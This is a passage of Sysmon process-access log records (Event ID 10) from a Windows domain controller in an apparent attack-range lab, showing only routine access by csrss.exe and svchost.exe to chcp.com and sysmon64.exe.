11:55:39.021","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-00102D270600}","TargetProcessId":"884","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+